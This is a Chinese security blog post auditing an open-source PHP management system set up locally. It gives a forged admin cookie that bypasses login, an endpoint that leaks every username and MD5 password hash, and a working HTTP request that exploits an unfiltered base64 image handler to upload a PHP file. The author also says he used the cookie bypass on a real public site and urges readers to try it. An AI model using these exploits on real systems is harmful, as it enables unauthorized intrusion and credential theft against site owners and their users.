无聊的时候翻公众号看见一位老哥审了一套开源的php源码,于是,咱也下了一套并搭建了起来。本来是打算跟着那公众白盒过一遍的,谁想到就抓了几个包,漏洞嘎嘎出······
#环境搭建(大佬略过)
下载小皮最新版,启动wamp环境
打开小皮根目录,将源码拖入小皮默认网站根目录,解压,并且修改小皮默认网站根目录为源码系统的根路径,(不修改的话,即使访问路径正确,网站模块功能的解析也会报错)
#漏洞挖掘
抓包测试127.0.0.1抓不到包,直接ipconfig将所得ip用来访问和抓包(已踩坑,可以避雷了)
访问http://192.168.0.115/,初始登录密码 admin/123456
也就登陆抓了个包,就猜到该系统有几乎遍布全站的未授权,,且可登陆绕过,因为cookie过于简单,其中并不带上特定的密码或参数特征,完全可以绕过,由于未授权访问的地方太多,就随便举一个例子:
/usertab.php接口,鉴权形同虚设
删除cookie,照样访问:
cookie格式 :Cookie: id=1; loginname=admin; jueseid=1; danweiid=1; quanxian=0,管理员权限,懂的都懂吧,具体的话公网找个站试试吧,本人已经试过了,非常管用。
此外还有一个很重要的接口,在功能点基本点完后,翻找历史记录包的时候,发现一个将所有用户名和密码泄露的接口,密码通过MD5加密,与登录站点的加密方式一样
/system/manage.php?action=list&page=1&limit=15
用awvs扫描直接扫了60多个注入:
/**
* Description: PhpStorm.
* Author: yoby
* DateTime: 2018/12/4 18:01
* Email:logove@qq.com
* Copyright Yoby版权所有
*/
$img = $_POST['imgbase64'];
if (preg_match('/^(data:s*image/(w+);base64,)/', $img, $result)) {
$type = ".".$result[2];
$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img = base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');
借用gpt解释,我就不解释了
这段PHP代码的作用是接收通过POST请求传递的base64编码的图像数据,并将其解码保存为图片文件。以下是代码的逐行解释:
: PHP代码的起始标记。
注释块描述了这段代码的作用、作者、日期和联系方式。
$img = $_POST['imgbase64'];: 从POST请求中获取名为imgbase64的参数,
该参数应包含base64编码的图像数据,并将其存储在变量$img中。
if (preg_match('/^(data:s*image/(w+);base64,)/', $img, $result)) {: 使用正则表达式匹配图像数据中的base64编码格式,并将结果存储在变量$result中。这个正则表达式用于匹配data:image/xxx;base64,这样的图像数据头部。
$type = ".".$result[2];: 提取匹配结果中的图像类型,并将其作为文件的扩展名,存储在变量$type中。
$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;: 构造文件路径,其中包含上传日期和唯一的文件标识符,并将文件扩展名添加到文件名中。
$img = base64_decode(str_replace($result[1], '', $img));: 使用base64_decode()函数解码图像数据,并将其存储在变量$img中。str_replace()函数用于移除图像数据头部,因为base64_decode()函数不需要该部分数据。
@file_put_contents($path, $img);: 将解码后的图像数据写入文件,文件路径为之前构造的路径。
exit('{"src":"'.$path.'"}');: 输出JSON格式的响应,包含保存的图像文件路径,然后终止脚本的执行。
需要注意的是,代码中的@符号用于抑制可能的文件写入错误,这样可以避免将错误信息暴露给终端用户。然而,实际生产环境中最好进行错误处理和安全性检查,以确保代码的可靠性和安全性。
该代码没做任何过滤,通过构造与其正则相匹配的POC,即可任意文件上传,如下是POC和上传效果:
POST /uploadbase64.php HTTP/1.1
Host: 192.168.0.115
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.115/system/juese.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
imgbase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
点个关注不迷路:
原文始发于微信公众号(实战安全研究):白盒变黑盒。。。——一套漏洞百出的源码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论